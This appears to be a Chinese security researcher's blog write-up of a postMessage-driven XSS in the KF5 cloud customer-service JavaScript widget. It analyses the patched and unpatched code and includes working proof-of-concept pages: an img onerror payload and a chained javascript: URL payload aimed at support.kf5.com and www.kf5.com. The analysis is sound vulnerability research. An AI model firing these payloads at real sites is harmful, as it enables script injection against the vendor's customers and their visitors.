逸创云客服系统 鸡肋xss分析

简介

一套云客服系统, 以前我salt哥教我挖的xss, 自己以前做测试的时候遇到过几次用这系统的 打poc都能成功, 不过最近又遇到了一个, 尝试用以前的poc打的时候,发现失败了。看了一下最新的代码, 发现已经修复了。
修复方法为
1: 限制了postmessage的来源必须是support.kf5.com
2: showNotice方法当中, 把innerHTML改成了innerText
尝试绕过了一下, 算是失败了吧。

分析

这里首先以官网(http://www.kf5.com) 为例测试一下, 直接看看修复后的代码
每一个要使用这套云客户系统的客户, 都需要引入一个js文件。
http://assets-cdn.kf5.com//supportbox//main.js

1
2
3
<script type="text/javascript">
document.write('<script src="\/\/assets-cdn.kf5.com\/supportbox\/main.js?' + (new Date).getDay() + '" id="kf5-provide-supportBox" kf5-domain="support.kf5.com" charset="utf-8"><\/script>');
</script>

在这个js文件当中,

1
2
3
4
5
6
7
8
var easing = {
swing: function (t) {
return .5 - Math.cos(t * Math.PI) / 2
}, linear: function (t) {
return t
}
};
setup(), autoPopupService()

调用了setup方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function setup() {
bindEvent(window, "DOMContentLoaded", KF5SupportBox.loadConfig), bindEvent(window, "load", KF5SupportBox.loadConfig), bindEvent(window.document, "page:load", KF5SupportBox.loadConfig), bindEvent(window.document, "onreadystatechange", function () {
"complete" === window.document.readyState && KF5SupportBox.loadConfig()
}), window.initializeKF5SupportBox || (window.initializeKF5SupportBox = KF5SupportBox.loadConfig), bindEvent(window, "message", function (t) {
var e, n, o;
if (t.origin.match(/^https?:\/\/(.*)$/)[1] === kf5Domain) if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/), n = e[1], o = e[2]), "CMD::showSupportbox" === n) KF5SupportBox.instance && (KF5SupportBox.instance.open(), KF5SupportBox.instance.hideButton()); else if ("CMD::hideSupportbox" === n) KF5SupportBox.instance && KF5SupportBox.instance.close(function () {
KF5SupportBox.instance.showButton()
}); else if ("CMD::resizeIframe" === n) ; else if ("CMD::kf5Notice" === n) KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o && JSON.parse(o)); else if ("CMD::newMsgCountNotice" === n) {
if (KF5SupportBox.instance) {
var i = KF5SupportBox.instance.getElement("#msg-number");
o = parseInt(o), o ? (i.style.display = "block", i.innerHTML = o < 10 ? o : "...") : (i.style.display = "none", i.innerHTML = "")
}
} else if ("CMD::showImage" === n) {
if (KF5SupportBox.instance) {
var s = KF5SupportBox.instance.getElement("#kf5-view-image"),
a = KF5SupportBox.instance.getElement("#kf5-backdrop"), r = s.parentNode || s.parentElement;
o = o ? JSON.parse(o) : {}, a.style.display = "block", r.setAttribute("href", o.url), r.setAttribute("title", o.name || ""), s.setAttribute("src", o.url), s.setAttribute("alt", o.name || "")
}
} else "CMD::iframeReady" === n && KF5SupportBox.instance.onIframeReady()
}), "string" == typeof lang && lang && KF5SupportBoxAPI.ready(function () {
KF5SupportBoxAPI.useLang(lang)
})
}

在setup方法当中, 可以看到监听了window对象的message事件, 但是限制了来源(修复1), 在来源符合要求的情况下直接往这个页面postmessage就可以触发这个事件了。

1
if (t.origin.match(/^https?:\/\/(.*)$/)[1] === kf5Domain) if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/), n = e[1], o = e[2])

判断了postmessage的来源是不是kf5Domain, 如果是的话,才会进入下一个if然后再给n、o变量赋值。 如果不是的话, 没法进入if, n、o变量就都为两个未初始化的变量, 就利用不上了。

1
2
3
script = window.document.getElementById("kf5-provide-supportBox"),
parts = script.src.split("//"), assetsHost = parts.length > 1 ? parts[1].split("/")[0] : "assets.kf5.com",
kf5Domain = script.getAttribute("kf5-domain")

kf5Domain来自id为kf5-provide-supportBox的标签的kf5-domain属性。

1
<script src="//assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307" id="kf5-provide-supportBox" kf5-domain="support.kf5.com"></script>

所以kf5-domain就为support.kf5.com。 这里我们需要找一个support.kf5.com的xss才能接着看这个postmessage了。

找support.kf5.com的xss, 我还是首先看看有没有类似的postmessage造成的xss
-w1299

一共监听了三个message事件, 在查看第一个的时候就发现了存在xss.
https://assets-cdn.kf5.com/supportbox_v2/main.js?v=20170307

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
window.initializeKF5SupportBox || (window.initializeKF5SupportBox = KF5SupportBox.loadConfig),
bindEvent(window, "message", function(t) {
var e, i, n;
if (t.data && "string" == typeof t.data && (e = t.data.match(/^([^ ]+)(?: +(.*))?/),
i = e[1],
n = e[2]),
"CMD::showSupportbox" === i)
KF5SupportBox.instance && (KF5SupportBox.instance.open(),
KF5SupportBox.instance.hideButton());
else if ("CMD::hideSupportbox" === i)
KF5SupportBox.instance && KF5SupportBox.instance.close(function() {
KF5SupportBox.instance.showButton()
});
else if ("CMD::resizeIframe" === i)
;
else if ("CMD::kf5Notice" === i)
KF5SupportBox.instance && KF5SupportBox.instance.showNotice(n && JSON.parse(n));

这个文件和之前未修复的文件很像, 没有限制来源。

再对传递过来的message数据通过正则以第一个空格分为两组, n变量为空格之前的字符, o变量为空格之后的字符。
n变量是用来选择进入哪个分支的, 这里看一下CMD::kf5Notice分支, 在进入CMD::kf5Notice分支之后会继续执行

1
2
else if ("CMD::kf5Notice" === n) 
KF5SupportBox.instance && KF5SupportBox.instance.showNotice(o && JSON.parse(o));

这里对o变量从字符串解析到JSON之后, 作为参数传递到了showNotice方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
showNotice: function(t) {
var e = this
, i = window.document.createElement("div");
return t = "object" == typeof t ? t : {},
i.innerHTML = this.getOpt("noticeTemplate").replace("{{title}}", t.title || "提示信息").replace("{{content}}", t.content || "").replace("{{avatar}}", t.avatar || this.getOpt("defaultNoticeAvatar")).replace("{{submitText}}", t.submitText || "接受").replace("{{cancelText}}", t.cancelText || "拒绝"),
this.closeNotice(),
this.noticeElement = i,
1 === this.getOpt("version") ? document.body.appendChild(i) : this.el && this.el.appendChild(i),
bindEvent(document.getElementById("kf5-support-message-accept"), "click", function() {
e.open(),
e.hideButton(),
e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage("CMD::kf5NoticeAccepted " + JSON.stringify(t.data), "*"),
e.closeNotice()
}),
bindEvent(document.getElementById("kf5-support-message-reject"), "click", function() {
e.iframe && e.iframe.contentWindow && e.iframe.contentWindow.postMessage("CMD::kf5NoticeRejected " + JSON.stringify(t.data), "*"),
e.closeNotice()
}),
i
}

showNotice方法中, 使用传入进来的json对模板中的变量进行替换之后, 直接就进行innerHTML了, 可以直接xss。

1
2
3
4
5
6
7
8
9
<iframe id="demo" src="http://support.kf5.com" width="0" height="0"></iframe>

<script type="text/javascript">
window.onload = function(){
var popup = demo.contentWindow;
var msg = 'CMD::kf5Notice {"content": "<img/src=x onerror=alert(document.domain) />"}'
popup.postMessage(msg, "*");
}
</script>

-w1019

但是这里只是https://assets-cdn.kf5.com/supportbox_v2/main.js 的xss而已, 其他客户引入的js都是http://assets-cdn.kf5.com//supportbox//main.js 。 所以继续尝试看看能不能使用supportbox_v2的xss来触发supportbox的xss。
现在找到了support.kf5.com的xss, 可以通过postmessage的来源判断了。
再继续往下看supportbox/main.js。

1
2
3
4
5
6
7
8
9
10
11
12
13
showNotice: function (t) {
function e() {
o.open(), o.hideButton(), o.iframe && o.iframe.contentWindow && o.iframe.contentWindow.postMessage("CMD::kf5NoticeAccepted " + JSON.stringify(t.data), "*"), o.closeNotice()
}

var n, o = this;
return t = "object" == typeof t ? t : {}, n = renderTemplate(this.getOpt("noticeTemplate"), {
noticeTitle: t.title || "提示信息",
noticeContent: t.content || "",
noticeAvatar: t.avatar || this.getOpt("defaultNoticeAvatar"),
noticeAccept: t.submitText || "接受",
noticeReject: t.cancelText || "拒绝"
}

supportbox中的showNotice并没有像supportbox_v2一样直接replace变量后就innerHTML, 而是使用了renderTemplate。(修复2)

1
2
3
4
5
6
function renderTemplate(t, e, n) {
var o, i = document.createElement("div");
i.innerHTML = t;
for (var s in e) e.hasOwnProperty(s) && (o = i.getElementsByClassName ? i.getElementsByClassName("kf5-tpl-" + s) : getElementsByClassName(i, "kf5-tpl-" + s), (o = o.length ? o[0] : null) && (n && "function" == typeof n[s] ? n[s](o, e[s]) : "string" == typeof o.textContent ? o.textContent = e[s] : o.innerText = e[s]));
return i
}

而在renderTemplate当中, 使用的是innerText, 所以不能xss。
这里就只有选择其他的分支尝试xss, 但是看完了几个分支, 都没有合适的点可以xss, 只找到了一个地方能够点击xss(实在没啥用,并且我都不知道咋样才能点到这个a标签)。

1
2
3
4
5
6
7
else if ("CMD::showImage" === n) {
if (KF5SupportBox.instance) {
var s = KF5SupportBox.instance.getElement("#kf5-view-image"),
a = KF5SupportBox.instance.getElement("#kf5-backdrop"), r = s.parentNode || s.parentElement;
o = o ? JSON.parse(o) : {}, a.style.display = "block", r.setAttribute("href", o.url), r.setAttribute("title", o.name || ""), s.setAttribute("src", o.url), s.setAttribute("alt", o.name || "")
}
}

在CMD::showImage分支下, 可以设置#kf5-view-image的alt/src属性。
可以设置#kf5-view-image标签的父节点的href/title属性。
-w478
kf5-view-image标签是img标签, 他的父节点是a标签。 所以可以通过父节点的href属性进行点击xss。
-w1381

1
2
3
4
5
6
7
8
9
10
11
12

<iframe id="demo" src="http://support.kf5.com" width="100%" height="100%"></iframe>

<script type="text/javascript">
window.onload = function(){
var content = `<iframe src=https://www.kf5.com/ id=demo2 onload='var popup2 = demo2.contentWindow;var msg2 =\\\"CMD::showImage {\\\\\\"url\\\\\\":\\\\\\"javascript:alert(document.domain)\\\\\\"}\\\";popup2.postMessage(msg2, \\\"*\\\"); '>`

var popup = demo.contentWindow;
var msg = `CMD::kf5Notice {"content": "${content}"}`
popup.postMessage(msg, "*");
}
</script>

References

https://5alt.me/